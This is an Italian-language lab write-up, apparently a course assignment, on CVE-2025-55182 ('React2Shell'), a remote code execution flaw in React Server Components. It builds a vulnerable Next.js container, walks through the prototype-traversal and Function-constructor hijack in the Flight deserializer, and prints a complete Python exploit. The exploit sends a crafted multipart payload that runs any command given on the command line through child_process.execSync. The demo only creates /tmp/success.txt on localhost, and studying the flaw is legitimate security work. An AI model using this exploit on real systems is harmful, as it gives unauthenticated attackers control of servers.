
alias React2Shell
Le sezioni richieste dalle linee guida dell'assegnazione sono contrassegnate con “(Required)”.
Questo ambiente utilizza un Dockerfile personalizzato basato sull'immagine ufficiale Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Il Dockerfile crea un ambiente vulnerabile basato su React Server Components (RSC) e Next.js App Router.
L'ambiente installa versioni vulnerabili di:
Il server vulnerabile viene eseguito in modalità sviluppo tramite npm run dev.
Il server vulnerabile viene eseguito in modalità sviluppo tramite npm run dev.
L'ambiente opera utilizzando la seguente struttura:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
L'attaccante invia una richiesta multipart/form-data appositamente costruita all'applicazione Next.js vulnerabile.
Il payload malevolo abusa del processo di deserializzazione del protocollo React Flight.
L'applicazione vulnerabile utilizza l'architettura Next.js App Router.
La richiesta viene elaborata attraverso la pipeline di React Server Components.
Il codice sorgente dell'applicazione è archiviato nella directory src/app/.
src/
└── app/
├── layout.js
└── page.js
Il file layout.js definisce il layout radice richiesto per la struttura App Router e inizializza l'ambiente React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Il file page.js definisce la pagina radice renderizzata su / e mostra un semplice messaggio che indica che il server vulnerabile è in esecuzione.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Le dipendenze del progetto e gli script di esecuzione sono gestiti tramite il file package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Questo file definisce versioni vulnerabili di:
L'applicazione vulnerabile viene eseguita utilizzando:
"scripts": {
"dev": "next dev"
}
Il server viene avviato tramite:
npm run dev
che avvia il server di sviluppo Next.js vulnerabile sulla porta 3000.
Il protocollo Flight deserializza oggetti React complessi come:
La vulnerabilità si verifica durante questo processo di deserializzazione.
Il runtime di React elabora payload Flight controllati dall'attaccante.
La traversata non sicura delle proprietà e l'accesso al prototipo consentono infine agli attaccanti di dirottare il costruttore Function.
Dopo uno sfruttamento riuscito, codice JavaScript arbitrario viene eseguito all'interno dell'ambiente server Node.js.
Ciò porta all'esecuzione remota di codice (RCE).
| Componente | Versione |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
L'ambiente utilizza implementazioni vulnerabili di React Server Components e del protocollo Flight.
CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce React Server Components e il protocollo React Flight.
La vulnerabilità si verifica durante il processo di deserializzazione dei payload del protocollo Flight controllati dall'attaccante.
Il problema consente agli attaccanti di:
La vulnerabilità è particolarmente pericolosa perché lo sfruttamento può avvenire senza autenticazione utilizzando una singola richiesta HTTP costruita ad hoc.
Le applicazioni che utilizzano configurazioni vulnerabili di React Server Components e Next.js App Router sono direttamente esposte.
La causa radice della vulnerabilità è la gestione non sicura dei riferimenti agli oggetti controllati dall'attaccante durante la deserializzazione del protocollo Flight.
React Flight utilizza internamente stringhe di riferimento speciali come:
$@0
$B1337
$1:__proto__:then
Questi riferimenti vengono risolti in modo ricorsivo durante la deserializzazione.
La logica vulnerabile esegue una traversata delle proprietà simile a:
value[path[i]]
senza verificare se la proprietà appartiene all'oggetto stesso.
Di conseguenza, gli attaccanti possono accedere a proprietà pericolose della catena del prototipo JavaScript come:
__proto__
constructor
prototype
Ciò consente infine la pollution del prototipo e il dirottamento del costruttore Function.
L'attaccante crea prima un oggetto chunk React falso.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Il campo critico è:
"status": "resolved_model"
Il runtime di React si fida erroneamente di questo campo e tratta l'oggetto controllato dall'attaccante come un legittimo oggetto chunk interno.
Il payload:
$1:__proto__:then
fa sì che il deserializzatore attraversi la catena del prototipo JavaScript.
Poiché il codice vulnerabile non valida le proprietà pericolose, l'attaccante ottiene l'accesso a:
Chunk.prototype.then
Questo trasforma il chunk falso in un oggetto thenable.
Il payload:
$1:constructor:constructor
si risolve infine in:
Function
Questo sostituisce:
response._formData.get
con il costruttore Function globale di JavaScript.
Di conseguenza:
Function(attacker_controlled_payload)
diventa possibile.
Il payload:
$B1337
costringe il parser di React Flight nella logica di parsing Blob.
Durante questo processo:
response._formData.get(...)
viene eseguito.
Tuttavia, l'attaccante ha già sostituito questa funzione con il costruttore Function globale.
Ciò si traduce infine nell'esecuzione di JavaScript arbitrario all'interno del runtime Node.js.
Il processo di sfruttamento avviene nel seguente ordine:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
L'attaccante invia prima una richiesta Flight multipart costruita ad hoc.
Il server vulnerabile deserializza il payload malevolo e risolve in modo ricorsivo i riferimenti controllati dall'attaccante.
La traversata non sicura del prototipo consente infine all'attaccante di dirottare il costruttore Function.
Durante la risoluzione delle Promise e il parsing Blob, viene eseguito codice JavaScript arbitrario.
Uno sfruttamento riuscito consente agli attaccanti di eseguire codice JavaScript arbitrario all'interno dell'ambiente server Node.js.
In questo ambiente, l'exploit esegue:
touch /tmp/success.txt
Lo sfruttamento riuscito viene verificato quando il seguente file esiste all'interno del container:
/tmp/success.txt
In ambienti reali, gli attaccanti potrebbero:
La vulnerabilità è particolarmente pericolosa perché colpisce le componenti interne del framework React piuttosto che la logica di business dell'applicazione.
Ciò significa che un gran numero di applicazioni potrebbe diventare vulnerabile semplicemente utilizzando versioni del framework interessate.
La Proof of Concept (PoC) è stata scritta in Python.
L'exploit invia una richiesta multipart/form-data malevola direttamente all'applicazione Next.js vulnerabile.
La PoC esegue le seguenti azioni:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
Il payload dell'exploit utilizza più riferimenti del protocollo Flight appositamente costruiti.
$1:__proto__:then| Parte | Scopo |
|---|---|
$1 | Fa riferimento al chunk 1 |
__proto__ | Attraversa la catena del prototipo |
then | Recupera Chunk.prototype.then |
Questo payload trasforma il chunk falso in un oggetto thenable.
$1:constructor:constructor| Parte | Scopo |
|---|---|
$1 | Fa riferimento al chunk 1 |
constructor | Accede al costruttore dell'oggetto |
constructor | Si risolve nel costruttore Function globale |
Questo payload dirotta il costruttore Function di JavaScript.
$B1337Il prefisso $B costringe il parser Flight nella logica di parsing Blob.
Durante questo processo:
response._formData.get(...)
viene eseguito.
Poiché l'attaccante ha già sostituito questo metodo con il costruttore Function, viene eseguito codice JavaScript arbitrario.
$@0Questo payload crea un riferimento circolare a un chunk.
Il chunk 1 fa infine nuovamente riferimento al chunk 0.
Questa struttura consente al deserializzatore di utilizzare l'oggetto chunk falso controllato dall'attaccante durante la traversata del prototipo.
L'exploit crea prima un boundary multipart casuale.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
Ciò è necessario per costruire una richiesta multipart/form-data valida.
L'exploit costruisce un oggetto chunk falso malevolo.
"status":"resolved_model"
Ciò fa sì che il runtime di React tratti l'oggetto controllato dall'attaccante come un chunk interno valido.
Il seguente payload:
$1:__proto__:then
costringe il parser vulnerabile ad attraversare la catena del prototipo JavaScript.
Il seguente payload:
$1:constructor:constructor
sostituisce il metodo get interno con il costruttore Function di JavaScript.
Il payload:
require('child_process').execSync('touch /tmp/success.txt')
viene infine eseguito all'interno del runtime Node.js.
Uno sfruttamento riuscito crea:
/tmp/success.txt
all'interno del container vulnerabile.
Il flusso completo dell'exploit è riassunto di seguito:
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
Crea l'immagine Docker.
docker build -t rsc-vuln .
Esegui il container vulnerabile.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
Il server Next.js vulnerabile verrà eseguito su:
http://127.0.0.1:3000
Esegui lo script della PoC.
python3 exploit.py
L'exploit invia un payload React Flight malevolo al server Next.js vulnerabile.
Verifica se l'exploit ha creato con successo il file di destinazione.
docker exec -it my-vuln-server ls -la /tmp/success.txt
Uno sfruttamento riuscito conferma che l'esecuzione di codice arbitrario è avvenuta all'interno del container vulnerabile.
Durante uno sfruttamento riuscito, l'exploit dovrebbe attivare la deserializzazione di React Flight e la traversata del prototipo.
Il server vulnerabile elabora il payload Flight malevolo ed esegue codice JavaScript controllato dall'attaccante.
Lo sfruttamento riuscito è confermato quando esiste il seguente file:
/tmp/success.txt
Output di esempio:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
Ciò conferma che i comandi arbitrari sono stati eseguiti con successo all'interno dell'ambiente Node.js vulnerabile.
I seguenti screenshot sono stati inclusi nella directory screenshots/:


| react-server-dom-webpack |
| 19.0.0-rc |